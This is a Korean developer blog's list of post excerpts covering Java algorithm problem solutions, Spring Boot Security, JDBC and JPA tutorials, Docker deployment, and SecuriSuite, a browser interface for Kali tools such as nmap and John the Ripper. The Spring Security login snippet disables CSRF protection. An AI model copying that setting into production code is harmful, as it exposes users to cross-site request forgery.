사진을 클릭하면 프로젝트로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. Docker로 시작하기 전제조건 Docker가 설치되어 있어야 합니다. 설치방법 1. 도커 이미지 다운로드 : 다음 명령을 사용하여 필요한 도커 이미지를 내려받으세요. docker pull hoowave/securisuite-backend:latest docker pull hoowave/securisuite-frontend:latest 2. Docker Compose 파일 다운로드 : 프로젝트의 Docker Compose 파일을 다운로드합니다. docker-compose.yml 3. 프로젝트 실행 : 다운로드한 Doc

[JAVA] 이진 트리 순회(DFS) [내부링크]

재귀 호출에 대해 공부하던 도중에.. 아주아주 중요한 개념인 것 같아서 따로 포스팅 실시!! 우선.. 이러한 이진 트리가 있을 때 전위, 중위, 후위 각각 순회 방식을 통해 출력하고자 한다..!! 전위의 경우 - 1 2 4 5 3 6 7 중위의 경우 - 4 2 5 1 6 3 7 후위의 경우 - 4 5 2 6 7 3 1 순으로 출력이 된다.. 쉬운 것 같으면서도.. 처음에 어떻게 접근해야 될지 몰랐다 ㅜㅁㅜ 문제 해결을 위해 먼저, 노드들의 가지들을 정의했다..!! 1의 lt는 2, rt는 3 2의 lt는 4, rt는 5 3의 lt는 6, rt는 7 4, 5, 6, 7의 lt, rt는 null 해당 노드를 가리키는 Node 클래스는 class Node { int val; Node lt; Node rt; public Node(int val) { this.val = val; } } 다음과 같이 정의했다..!! 그리고 그림과 같이 노드들을 연결시켜주기 위해서 public static voi

MicroService 무중단배포 - 블루그린배포 [내부링크]

현재 도커에는 총 6개의 Micro Service가 있습니다.. 각 서비스는.. mariadb : 데이터 저장 config-server : 설정 집중 관리 eureka-server : 모니터링 gateway-server : 프록시처리(로드밸런싱 등) authentication-server : JWT 발급 및 인증 item-service-server : 아이템 데이터 저장 클라이언트의 요청이 들어왔을 때 1차원적으로 보면 gateway - authentication - item-service 순으로 처리가 됩니다. 하지만 여기서 item-service에 기능을 추가하고 싶을 때가 있습니다. 버전업을 하는 거죠.. 예를 들어서.. 아이템 데이터를 저장하는 기능을 담당하는 item-service에 아이템 조회 기능을 추가하고자 합니다. 이런 경우에 서버를 내리고 기능을 추가하고 다시 서버를 올리기보다는.. 현행 시스템 = v1 추가 후 시스템 = v2 로 예를 들어서.. v1을 운영하면서

[JAVA] 백준 1541 - 잃어버린 괄호 [내부링크]

문제 세준이는 양수와 +, -, 그리고 괄호를 가지고 식을 만들었다. 그리고 나서 세준이는 괄호를 모두 지웠다. 그리고 나서 세준이는 괄호를 적절히 쳐서 이 식의 값을 최소로 만들려고 한다. 괄호를 적절히 쳐서 이 식의 값을 최소로 만드는 프로그램을 작성하시오. 입력 첫째 줄에 식이 주어진다. 식은 ‘0’~‘9’, ‘+’, 그리고 ‘-’만으로 이루어져 있고, 가장 처음과 마지막 문자는 숫자이다. 그리고 연속해서 두 개 이상의 연산자가 나타나지 않고, 5자리보다 많이 연속되는 숫자는 없다. 수는 0으로 시작할 수 있다. 입력으로 주어지는 식의 길이는 50보다 작거나 같다. 출력 첫째 줄에 정답을 출력한다. 예제 입력 1 55-50+40 예제 출력 1 -35 예제 입력 2 10+20+30+40 예제 출력 2 100 예제 입력 3 00009-00009 예제 출력 3 0 처음에 보고 뭐지 쉬워 보이는데..? 싶었는데 생각보다 난이도가 있다고 느꼈음.. 55-50+40를 그대로 계산하면 45

[JAVA] 백준 17413 - 단어 뒤집기2 [내부링크]

문제 문자열 S가 주어졌을 때, 이 문자열에서 단어만 뒤집으려고 한다. 먼저, 문자열 S는 아래와과 같은 규칙을 지킨다. 알파벳 소문자('a'-'z'), 숫자('0'-'9'), 공백(' '), 특수 문자('<', '>')로만 이루어져 있다. 문자열의 시작과 끝은 공백이 아니다. '<'와 '>'가 문자열에 있는 경우 번갈아가면서 등장하며, '<'이 먼저 등장한다. 또, 두 문자의 개수는 같다. 태그는 '<'로 시작해서 '>'로 끝나는 길이가 3 이상인 부분 문자열이고, '<'와 '>' 사이에는 알파벳 소문자와 공백만 있다. 단어는 알파벳 소문자와 숫자로 이루어진 부분 문자열이고, 연속하는 두 단어는 공백 하나로 구분한다. 태그는 단어가 아니며, 태그와 단어 사이에는 공백이 없다. 입력 첫째 줄에 문자열 S가 주어진다. S의 길이는 100,000 이하이다. 출력 첫째 줄에 문자열 S의 단어를 뒤집어서 출력한다. 예제 입력 1 baekjoon online judge 예제 출력 1 nooj

[JAVA] 백준 20920 - 영단어 암기는 괴로워 [내부링크]

문제 화은이는 이번 영어 시험에서 틀린 문제를 바탕으로 영어 단어 암기를 하려고 한다. 그 과정에서 효율적으로 영어 단어를 외우기 위해 영어 단어장을 만들려 하고 있다. 화은이가 만들고자 하는 단어장의 단어 순서는 다음과 같은 우선순위를 차례로 적용하여 만들어진다. 자주 나오는 단어일수록 앞에 배치한다. 해당 단어의 길이가 길수록 앞에 배치한다. 알파벳 사전 순으로 앞에 있는 단어일수록 앞에 배치한다   M보다 짧은 길이의 단어의 경우 읽는 것만으로도 외울 수 있기 때문에 길이가 M이상인 단어들만 외운다고 한다. 화은이가 괴로운 영단어 암기를 효율적으로 할 수 있도록 단어장을 만들어 주자. 입력 첫째 줄에는 영어 지문에 나오는 단어의 개수 N과 외울 단어의 길이 기준이 되는 M이 공백으로 구분되어 주어진다. 둘째 줄부터 N+1번째 줄까지 외울 단어를 입력받는다. 이때의 입력은 알파벳 소문자로만 주어지며 단어의 길이는 10을 넘지 않는다. 단어장에 단어가 반드시 1개 이상 존재하는 입

[JAVA] 백준 9996 - 한국이 그리울 땐 서버에 접속하지 [내부링크]

문제 선영이는 이번 학기에 오스트레일리아로 교환 학생을 가게 되었다. 호주에 도착하고 처음 며칠은 한국 생각을 잊으면서 즐겁게 지냈다. 몇 주가 지나니 한국이 그리워지기 시작했다. 선영이는 한국에 두고온 서버에 접속해서 디렉토리 안에 들어있는 파일 이름을 보면서 그리움을 잊기로 했다. 매일 밤, 파일 이름을 보면서 파일 하나하나에 얽힌 사연을 기억하면서 한국을 생각하고 있었다. 어느 날이었다. 한국에 있는 서버가 망가졌고, 그 결과 특정 패턴과 일치하는 파일 이름을 적절히 출력하지 못하는 버그가 생겼다. 패턴은 알파벳 소문자 여러 개와 별표(*) 하나로 이루어진 문자열이다. 파일 이름이 패턴에 일치하려면, 패턴에 있는 별표를 알파벳 소문자로 이루어진 임의의 문자열로 변환해 파일 이름과 같게 만들 수 있어야 한다. 별표는 빈 문자열로 바꿀 수도 있다. 예를 들어, "abcd", "ad", "anestonestod"는 모두 패턴 "a*d"와 일치한다. 하지만, "bcd"는 일치하지 않는

[JAVA] 백준 1254 - 팰린드롬 만들기 [내부링크]

문제 동호와 규완이는 212호에서 문자열에 대해 공부하고 있다. 규완이는 팰린드롬을 엄청나게 좋아한다. 팰린드롬이란 앞에서부터 읽으나 뒤에서부터 읽으나 같게 읽히는 문자열을 말한다. 동호는 규완이를 위한 깜짝 선물을 준비했다. 동호는 규완이가 적어놓고 간 문자열 S에 0개 이상의 문자를 문자열 뒤에 추가해서 팰린드롬을 만들려고 한다. 동호는 가능하면 가장 짧은 문자열을 만들려고 한다. 동호가 만들 수 있는 가장 짧은 팰린드롬의 길이를 출력하는 프로그램을 작성하시오. 입력 첫째 줄에 문자열 S가 주어진다. S는 알파벳 소문자로만 이루어져 있고, 길이는 최대 50이다. 출력 첫째 줄에 동호가 만들 수 있는 가장 짧은 팰린드롬의 길이를 출력한다. 예제 입력 1 abab 예제 출력 1 5 예제 입력 2 abacaba 예제 출력 2 7 예제 입력 3 qwerty 예제 출력 3 11 예제 입력 4 abdfhdyrbdbsdfghjkllkjhgfds 예제 출력 4 38 abdfhdyrbdbsdfg

[JAVA] 백준 14490 - 백대열 [내부링크]

문제 대열이는 욱제의 친구다. “야 백대열을 약분하면 뭔지 알아?” “??” “십대일이야~ 하하!” n:m이 주어진다. 욱제를 도와주자. (...) 입력 n과 m이 :을 사이에 두고 주어진다. (1 ≤ n, m ≤ 100,000,000) 출력 두 수를 최대한으로 약분하여 출력한다. 예제 입력 1 100:10 예제 출력 1 10:1 예제 입력 2 18:24 예제 출력 2 3:4 쉬운 문제! 욱제를 도와주자.. 말 그대로 계속 약분하면 된다.. import java.util.Scanner; public class Ex14490 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); String n = sc.next(); String[] num = n.split(":"); int num1 = Integer.parseInt(num[0]); int num2 = Integer.parseInt(num[1]);

[JAVA] 백준 1931 - 회의실 배정 [내부링크]

문제 한 개의 회의실이 있는데 이를 사용하고자 하는 N개의 회의에 대하여 회의실 사용표를 만들려고 한다. 각 회의 I에 대해 시작시간과 끝나는 시간이 주어져 있고, 각 회의가 겹치지 않게 하면서 회의실을 사용할 수 있는 회의의 최대 개수를 찾아보자. 단, 회의는 한번 시작하면 중간에 중단될 수 없으며 한 회의가 끝나는 것과 동시에 다음 회의가 시작될 수 있다. 회의의 시작시간과 끝나는 시간이 같을 수도 있다. 이 경우에는 시작하자마자 끝나는 것으로 생각하면 된다. 입력 첫째 줄에 회의의 수 N(1 ≤ N ≤ 100,000)이 주어진다. 둘째 줄부터 N+1 줄까지 각 회의의 정보가 주어지는데 이것은 공백을 사이에 두고 회의의 시작시간과 끝나는 시간이 주어진다. 시작 시간과 끝나는 시간은 231-1보다 작거나 같은 자연수 또는 0이다. 출력 첫째 줄에 최대 사용할 수 있는 회의의 최대 개수를 출력한다. 예제 입력 1 11 1 4 3 5 0 6 5 7 3 8 5 9 6 10 8 11 8

[JAVA] 백준 11399 - ATM [내부링크]

문제 인하은행에는 ATM이 1대밖에 없다. 지금 이 ATM앞에 N명의 사람들이 줄을 서있다. 사람은 1번부터 N번까지 번호가 매겨져 있으며, i번 사람이 돈을 인출하는데 걸리는 시간은 Pi분이다. 사람들이 줄을 서는 순서에 따라서, 돈을 인출하는데 필요한 시간의 합이 달라지게 된다. 예를 들어, 총 5명이 있고, P1 = 3, P2 = 1, P3 = 4, P4 = 3, P5 = 2 인 경우를 생각해보자. [1, 2, 3, 4, 5] 순서로 줄을 선다면, 1번 사람은 3분만에 돈을 뽑을 수 있다. 2번 사람은 1번 사람이 돈을 뽑을 때 까지 기다려야 하기 때문에, 3+1 = 4분이 걸리게 된다. 3번 사람은 1번, 2번 사람이 돈을 뽑을 때까지 기다려야 하기 때문에, 총 3+1+4 = 8분이 필요하게 된다. 4번 사람은 3+1+4+3 = 11분, 5번 사람은 3+1+4+3+2 = 13분이 걸리게 된다. 이 경우에 각 사람이 돈을 인출하는데 필요한 시간의 합은 3+4+8+11+13 =

[JAVA] 백준 11047 - 동전 0 [내부링크]

문제 준규가 가지고 있는 동전은 총 N종류이고, 각각의 동전을 매우 많이 가지고 있다. 동전을 적절히 사용해서 그 가치의 합을 K로 만들려고 한다. 이때 필요한 동전 개수의 최솟값을 구하는 프로그램을 작성하시오. 입력 첫째 줄에 N과 K가 주어진다. (1 ≤ N ≤ 10, 1 ≤ K ≤ 100,000,000) 둘째 줄부터 N개의 줄에 동전의 가치 Ai가 오름차순으로 주어진다. (1 ≤ Ai ≤ 1,000,000, A1 = 1, i ≥ 2인 경우에 Ai는 Ai-1의 배수) 출력 첫째 줄에 K원을 만드는데 필요한 동전 개수의 최솟값을 출력한다. 예제 입력 1 10 4200 1 5 10 50 100 500 1000 5000 10000 50000 예제 출력 1 6 예제 입력 2 10 4790 1 5 10 50 100 500 1000 5000 10000 50000 예제 출력 2 12 문제를 처음 봤을 때.. 오름차순 되어 있는대로 몫과 나머지를 구하게 되면 동전이 많아지는거 아닌가..? 하는

실시간 로그 모니터링에 대한 문제 + 해결 [내부링크]

이 전에 진행했던 JSP 기반의 프로젝트를 Springboot 프로젝트로 리팩토링하면서.. 해결해야 될 문제가 한 개 발생했다. 실시간으로 로그를 불러와서 데이터를 원하는 형식에 맞게 정형화 시켜준 뒤, 클라이언트에게 전송하는 단순한 과정인데, 환경이나 요구사항이 까다로웠다. 환경 Kali(Debian)에서 운영 중인 Springboot 기반 웹서버 순서도 1. 웹서버는 클라이언트의 요청을 받는다. 2. 해당 요청에 맞게 프로세스를 처리한다. : 이 과정에서 처리에 대한 로그를 기록함 3. 처리 후 결과를 기록한다. 4. 기록한 결과와 데이터 형식에 맞춰서 클라이언트에게 반환한다. 여기서 맞닥뜨린 문제점 요청에 맞게 프로세스를 처리하는 과정에서, 처리하는 시간이 늘어날수록 응답(response)도 늦어졌다. 1번 상황처럼 처리하는 시간이 늘어날수록 클라이언트에게 프로세스 진행도(%)를 응답해 주고 싶었으나, 한 번의 요청으로 여러 번의 응답을 주는데 어려움이 있었다. 문제점에 대한

리눅스 환경에서 Springboot Thymeleaf(View) Templates을 가져오지 못하는 오류 + 해결 [내부링크]

열심히 프로젝트를 하던 도중에.. API 서버를 개발한 뒤, Linux 환경에서 빌드 및 배포를 진행했었다. 현재 개발하는 mac 환경에서는 다 잘 되는데.. 웹 컨트롤러로 요청을 받으면, 뷰 템플릿을 찾지 못하고 에러가 발생하는 것이었다!! 여러 시도를 해봤다.. 시도 1. 실제 파일 위치와 경로 확인 src/main/resources/templates 디렉터리 내에 파일이 있는지 확인하고, 대소문자를 확인해 봤다. 결과 - 이상 무 시도 2. Thymeleaf 구성 설정 application.properties에서 타임리프 설정을 확인했다. spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html 결과 - 이상 무 가만 생각해 보니, 여기까지 문제가 있었다면 현재 개발하는 mac 환경에서도 문제가 발생하지 않았을까..?? 경로가 문제라면, 테스트 파일을 만들어서 다른 문제 될만한 것을 제외하고 컨트롤러

[SecuriSuite] 프로젝트 개요 및 소개 [내부링크]

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. 프로젝트 개요 본 프로젝트는 기존 JSP 기반의 "라메르 사이트"를 현대적인 웹 개발 표준과 확장성을 고려하여 전면적으로 리팩토링하는 작업입니다. 이전 구조의 제한점을 극복하고, 더 나은 사용자 경험과 보안성을 제공하기 위해 수행되었습니다. 라메르사이트 프로젝트 @Legacy_Project_Lamer 프로젝트 소개 SecuriSuite는 이러한 강력한 도구들을 더욱 접근하기 쉽고 사용자 친화적인 방식으로 제공하여, 보안 전문가들이 필요한 도구를 쉽게 찾고 사용할 수 있도록 돕습니다. 프로젝트의 설계 및 개발 과정에

[SecuriSuite] 기술 스택 & 패키지 [내부링크]

사진을 클릭하면 [시작하기]로 이동합니다. 본 프로젝트는 [SecuriSuite]로, SecuriSuite는 브라우저에서 정보 보안 도구를 사용하기 위한 그래픽 인터페이스입니다. 사용자는 웹 UI를 통해 nmap, crunch, httrack, johnTheRipper 등의 보안 도구를 직접 사용할 수 있습니다. 이 프로젝트는 Kali Linux 도구를 참조로 사용합니다. 기술 스택 Java: 애플리케이션 개발에 사용된 프로그래밍 언어입니다. Spring Boot: 애플리케이션의 백엔드 로직을 구현하기 위해 사용된 프레임워크입니다. Lombok: 코드 간결성을 향상시키기 위해 사용된 라이브러리입니다. Spring Boot Validation: 입력 데이터의 유효성 검사를 위해 사용된 스프링 부트의 검증 프레임워크입니다. Linux/Unix Shell: Kali Linux 환경에서 쉘 명령을 실행하기 위해 사용된 시스템 환경입니다. 정규 표현식 (Regex): 로그 데이터 파싱 및 데

Docker 컨테이너 배포하기 [내부링크]

먼저, docker hub 로그인을 해줍니다. docker login 저는 이전 게시글을 작성하면서 사용했던 요 두 놈을 배포해 볼게요.. docker tag webserver:v1 hoowave/webserver:v1 docker tag hellojs:latest hoowave/hellojs 배포하기 위해서 각각 두 개의 이름을 도커허브아이디/이름 형식으로 변경해 줍니다. docker push hoowave/webserver:v1 docker push hoowave/hellojs 변경한 뒤, 각각 push를 하게 되면.. 컨테이너 이미지가 도커허브 계정에 업로드됩니다. 도커허브에 접속하여 계정에 로그인한 뒤, 직접 확인할 수 있습니다.

Spring Boot - Security 필터 체인 등록 [내부링크]

해당 프로젝트는 로그인, 회원가입에 따라 회원별 권한을 부여합니다.. 비회원, 유저, 매니저, 어드민 총 4개의 계층으로 나누어져 있습니다.. 현재까지의 구조는 다음과 같습니다.. dependencies { implementation 'org.springframework.boot:spring-boot-starter-data-jpa' implementation 'org.springframework.boot:spring-boot-starter-security' implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' implementation 'org.springframework.boot:spring-boot-starter-web' implementation 'org.thymeleaf.extras:thymeleaf-extras-springsecurity5' compileOnly 'org.projectlombok:lo

Spring Boot - Security 회원가입 [내부링크]

Spring Boot - Security 필터 체인 등록 해당 프로젝트는 로그인, 회원가입에 따라 회원별 권한을 부여합니다.. 비회원, 유저, 매니저, 어드민 총 4... blog.naver.com 이전 게시글에 이어서.. 회원가입 처리와 동시에 비밀번호를 암호화시켜서 DB에 저장까지 해볼게요.. 먼저, 로그인 페이지와 회원가입 페이지를 만들어줬습니다.. <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>로그인 페이지</title> </head> <body> <h1>로그인 페이지</h1> <hr> <form action="/login" method="post"> <p> ID : <input type="text" name="username"> </p> <p> PW : <input type="password" name="password"> </p> <p> <input

Spring Boot - Security 로그인 [내부링크]

Spring Boot - Security 회원가입 이전 게시글에 이어서.. 회원가입 처리와 동시에 비밀번호를 암호화시켜서 DB에 저장까지 해볼게요.. 먼... blog.naver.com 이전 게시글에 이어서.. 로그인 처리를 해볼게요.. 먼저. 시큐리티 설정 메서드에서 @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().disable(); http.authorizeRequests() .antMatchers("/user/**") .authenticated() .antMatchers("/manager/**").access("hasRole('ROLE_ADMIN') or hasRole('ROLE_MANAGER')") .antMatchers("/admin/**").access("hasRole('ROLE_ADMIN')") .anyRequest().permitAll() .and() .formLog

Spring Boot - Security 권한 처리 [내부링크]

Spring Boot - Security 로그인 이전 게시글에 이어서.. 로그인 처리를 해볼게요.. 먼저. 시큐리티 설정 메서드에서 .defaultSuccessUrl(... blog.naver.com 이전 게시글에 이어.. 권한 처리를 해보자면.. 회원 데이터를 몇 개 더 넣고.. 각 회원 별로 권한을 test1 = ROLE_USER test2 = ROLE_MANAGER test3 = ROLE_ADMIN 이렇게 부여했습니다. 이 상황이면, 회원 / 디렉터리 /user/ /manager/ /admin/ test1 O X X test2 O O X test3 O O O 이렇게 접근이 가능합니다. 여기서, 스프링 시큐리티 설정 파일에서 @EnableGlobalMethodSecurity(securedEnabled = true, prePostEnabled = true) EnableGlobalMethodSecurity 어노테이션을 통해 securedEnabled, prePostEnabled 두

세 개의 구분자 [내부링크]

문제 해결 능력을 키우기 위해 프로그래머스의 코딩 테스트를 조금씩 풀어보고 있어요.. 하지만.. 와우!! 매일 프로젝트 및 웹 개발에 집중하다 보니.. 정형화된 코드가 익숙해졌고.. 알고리즘 이해, 분석, 작성 능력이 상당히 둔해진 느낌.. 지금부터라도.. 이 뭉쳐있는 머리를 풀어주기 위해서.. 조금씩 조금씩.. ㄱ ㄱ 문제 : 세 개의 구분자 문제 설명 임의의 문자열이 주어졌을 때 문자 "a", "b", "c"를 구분자로 사용해 문자열을 나누고자 합니다. 예를 들어 주어진 문자열이 "baconlettucetomato"라면 나눠진 문자열 목록은 ["onlettu", "etom", "to"] 가 됩니다. 문자열 myStr이 주어졌을 때 위 예시와 같이 "a", "b", "c"를 사용해 나눠진 문자열을 순서대로 저장한 배열을 return 하는 solution 함수를 완성해 주세요. 단, 두 구분자 사이에 다른 문자가 없을 경우에는 아무것도 저장하지 않으며, return할 배열이 빈 배열

특정 문자열로 끝나는 가장 긴 부분 문자열 찾기 [내부링크]

문제 설명 문자열 myString과 pat가 주어집니다. myString의 부분 문자열중 pat로 끝나는 가장 긴 부분 문자열을 찾아서 return 하는 solution 함수를 완성해 주세요. 제한사항 5 ≤ myString ≤ 20 1 ≤ pat ≤ 5 pat은 반드시 myString의 부분 문자열로 주어집니다. myString과 pat에 등장하는 알파벳은 대문자와 소문자를 구분합니다. 입출력 예 "AbCdEFG" "dE" "AbCdE" "AAAAaaaa" "a" "AAAAaaaa" 입출력 예 설명 입출력 예 #1 "AbCdEFG"에서 "dE"는 한 번 등장하며 처음부터 해당 위치까지 잘라내면 "AbCdE"가 됩니다. 따라서 이 문자열이 "dE"로 끝나는 가장 긴 문자열이며, "AbCdE"를 return 합니다. 입출력 예 #2 "AAAAaaaa"에서 "a"는 총 네 번 등장하며 이 중 가장 마지막에 있는 위치까지 잘라내면 "AAAAaaaa"가 됩니다. 따라서 이 문자열이 "a"로

1로 만들기 [내부링크]

문제 설명 정수가 있을 때, 짝수라면 반으로 나누고, 홀수라면 1을 뺀 뒤 반으로 나누면, 마지막엔 1이 됩니다. 예를 들어 10이 있다면 다음과 같은 과정으로 1이 됩니다. 10 / 2 = 5 (5 - 1) / 2 = 4 4 / 2 = 2 2 / 2 = 1 위와 같이 4번의 나누기 연산으로 1이 되었습니다. 정수들이 담긴 리스트 num_list가 주어질 때, num_list의 모든 원소를 1로 만들기 위해서 필요한 나누기 연산의 횟수를 return하도록 solution 함수를 완성해주세요. 제한사항 3 ≤ num_list의 길이 ≤ 15 1 ≤ num_list의 원소 ≤ 30 입출력 예 [12, 4, 15, 1, 14] 11 입출력 예 설명 입출력 예 #1 12는 3번, 4는 2번, 15는 3번, 1은 0번, 14는 3번의 연산이 필요하기 때문에 총 11번의 연산이 필요합니다. 나의 코드.. class Solution { public int solution(int[] num_lis

조건에 맞게 수열 변환하기 2 [내부링크]

문제 설명 정수 배열 arr가 주어집니다. arr의 각 원소에 대해 값이 50보다 크거나 같은 짝수라면 2로 나누고, 50보다 작은 홀수라면 2를 곱하고 다시 1을 더합니다. 이러한 작업을 x번 반복한 결과인 배열을 arr(x)라고 표현했을 때, arr(x) = arr(x + 1)인 x가 항상 존재합니다. 이러한 x 중 가장 작은 값을 return 하는 solution 함수를 완성해 주세요. 단, 두 배열에 대한 "="는 두 배열의 크기가 서로 같으며, 같은 인덱스의 원소가 각각 서로 같음을 의미합니다. 제한사항 1 ≤ arr의 길이 ≤ 1,000,000 1 ≤ arr의 원소의 값 ≤ 100 입출력 예 [1, 2, 3, 100, 99, 98] 5 입출력 예 설명 입출력 예 #1 위 작업을 반복하면 다음과 같이 arr가 변합니다. 0 [1, 2, 3, 100, 99, 98] 1 [3, 2, 7, 50, 99, 49] 2 [7, 2, 15, 25, 99, 99] 3 [15, 2, 31,

[JAVA] 백준 1654 - 랜선 자르기 [내부링크]

문제 집에서 시간을 보내던 오영식은 박성원의 부름을 받고 급히 달려왔다. 박성원이 캠프 때 쓸 N개의 랜선을 만들어야 하는데 너무 바빠서 영식이에게 도움을 청했다. 이미 오영식은 자체적으로 K개의 랜선을 가지고 있다. 그러나 K개의 랜선은 길이가 제각각이다. 박성원은 랜선을 모두 N개의 같은 길이의 랜선으로 만들고 싶었기 때문에 K개의 랜선을 잘라서 만들어야 한다. 예를 들어 300cm 짜리 랜선에서 140cm 짜리 랜선을 두 개 잘라내면 20cm는 버려야 한다. (이미 자른 랜선은 붙일 수 없다.) 편의를 위해 랜선을 자르거나 만들 때 손실되는 길이는 없다고 가정하며, 기존의 K개의 랜선으로 N개의 랜선을 만들 수 없는 경우는 없다고 가정하자. 그리고 자를 때는 항상 센티미터 단위로 정수길이만큼 자른다고 가정하자. N개보다 많이 만드는 것도 N개를 만드는 것에 포함된다. 이때 만들 수 있는 최대 랜선의 길이를 구하는 프로그램을 작성하시오. 입력 첫째 줄에는 오영식이 이미 가지고 있

[JAVA] 백준 2805 - 나무 자르기 [내부링크]

문제 상근이는 나무 M미터가 필요하다. 근처에 나무를 구입할 곳이 모두 망해버렸기 때문에, 정부에 벌목 허가를 요청했다. 정부는 상근이네 집 근처의 나무 한 줄에 대한 벌목 허가를 내주었고, 상근이는 새로 구입한 목재절단기를 이용해서 나무를 구할것이다. 목재절단기는 다음과 같이 동작한다. 먼저, 상근이는 절단기에 높이 H를 지정해야 한다. 높이를 지정하면 톱날이 땅으로부터 H미터 위로 올라간다. 그 다음, 한 줄에 연속해있는 나무를 모두 절단해버린다. 따라서, 높이가 H보다 큰 나무는 H 위의 부분이 잘릴 것이고, 낮은 나무는 잘리지 않을 것이다. 예를 들어, 한 줄에 연속해있는 나무의 높이가 20, 15, 10, 17이라고 하자. 상근이가 높이를 15로 지정했다면, 나무를 자른 뒤의 높이는 15, 15, 10, 15가 될 것이고, 상근이는 길이가 5인 나무와 2인 나무를 들고 집에 갈 것이다. (총 7미터를 집에 들고 간다) 절단기에 설정할 수 있는 높이는 양의 정수 또는 0이다.

Spring Boot 회원관리 6 - 웹 MVC [내부링크]

마지막으로 만들어놓은 기능을 사용하여 웹에서 데이터를 전달받고, 저장한 데이터를 뿌려주게끔 만들어볼게요.. 우선 제일 처음 보일 Home 페이지 >> HomeController>> package hello.hellospring.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; @Controller public class HomeController { @GetMapping("/") public String home(){ return "home"; } } Home.html >> <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Home</title> </head> <body> <div class="con

Spring Boot - H2 데이터베이스 설치 [내부링크]

H2는 자바로 작성된 오픈 소스 내장형 관계형 데이터베이스 관리 시스템입니다. 주로 개발 및 테스트 목적으로 사용되며, 인메모리 데이터베이스로도 활용될 수 있습니다. H2 Database Engine Download Version 2.2.222 (2023-08-22) Windows Installer (6.7 MB) All Platforms (zip, 9.5 MB) All Downloads Support Stack Overflow (tag H2) Google Group For non-technical issues, use: Features Very fast, open source, JDBC API Embedded and server modes; disk-based or in-memory databases Transaction su... www.h2database.com 해당 사이트에서 운영체제에 맞게 설치해 줍니다.. 제 운영체제가 mac이라 mac 기준입니다..!! 다운로드한 압축파

Spring Boot - JDBC를 이용해 리포지토리를 DB로 변경 [내부링크]

개방-폐쇄의 원칙(OCP, Open-Closed Principle)란, 확장에는 열려있고 수정 및 변경에는 닫혀있습니다. 무슨 뜻이냐면.. 이때까지 회원관리 프로젝트를 하면서 데이터베이스가 정해지지 않은 상태에서 개발을 하게 되어서 메모리에 회원정보를 저장시켰는데, 이 저장하는 부분을 메모리가 아닌 DB로 변경하겠다는 곳에 있습니다. 변경을 하는 과정에서, DI를 이용하여 기존 코드에는 전혀 손대지 않고, 설정만으로 구현 클래스를 변경할 수 있습니다. 기존에 MemberService에서 MemberRepository 인터페이스에 구현체가 MemoryMemberRepository가 있었다면, 이건 놔두고 구현체를 JDBCMemberRepository를 만들어줘서 스프링 빈으로 사용할 겁니다. 먼저, build.gradle에 jdbc와 H2 데이터베이스 관련 라이브러리를 추가합니다.. implementation 'org.springframework.boot:spring-boot-star

Spring Boot - 통합 테스트 [내부링크]

이전에 단위 테스트를 했다면, 이번엔 스프링을 실제로 띄우고 DB 연동까지 하는 통합 테스트를 해보겠습니다.. 순수 자바 코드를 통해서 테스트를 하지 않고 스프링을 구동해야 되는 경우 @SpringBootTest 어노테이션을 사용합니다. 그리고 테스트 과정에서 쿼리문을 실제 commit 시키지 않고 테스트가 끝난 뒤에 Rollback시키려면 @Transactional 어노테이션을 사용합니다. MemberServiceIntegrationTest>> package hello.hellospring.service; import hello.hellospring.domain.Member; import hello.hellospring.repository.MemberRepository; import org.assertj.core.api.Assertions; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.ann

Spring Boot - JDBCTemplate 사용하기 [내부링크]

스프링 JDBCTemplate는 기존의 JDBC와 동일한 환경설정을 해줍니다. JDBCTemplate나 Mybatis와 같은 라이브러리는 JDBC의 반복 코드를 대부분 제거해 줍니다. 하지만 쿼리문은 직접 작성해 줘야 됩니다.. 개방-폐쇄의 원칙에 따라.. 기존에 MemberRepository 인터페이스를 JdbcMemberRepository를 구현체로 사용했다면 JdbcTemplateMemberRepository를 구현체로 한 개 더 만든 뒤, 스프링 빈 객체로 사용하도록 할게요.. JdbcTemplateMemberRepository>> package hello.hellospring.repository; import hello.hellospring.domain.Member; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.RowMapper; import org.springf

Spring Boot - JPA [내부링크]

JPA는 기존의 반복 코드는 물론이고, 기본적인 SQL도 JPA가 직접 만들어서 실행해 줍니다.. SQL과 데이터 중심의 설계에서 객체 중심의 설계로 패러다임을 전환할 수 있습니다.. 또한 개발 생산성을 크게 향상시킵니다.. 바로 JPA를 사용해 보죠 ㄱㄱ 먼저 bungle.gradle 파일에 JPA와 DB 관련 라이브러리를 추가합니다. implementation 'org.springframework.boot:spring-boot-starter-data-jpa' 저는 기존에 쓰던 JDBC 라이브러리를 주석 처리하고 H2 데이터베이스를 사용했습니다. 추가하고 꼭 Gradle을 새로고침 해주셔야 됩니다.. application.properties에선 JPA 설정을 추가해 줍니다. spring.jpa.show-sql=true spring.jpa.hibernate.ddl-auto=none show-sql : JPA가 생성하는 SQL을 출력합니다. ddl-auto : JPA는 테이블을 자동으

Spring Boot - JPA를 사용한 CRUD 게시판 만들기 [내부링크]

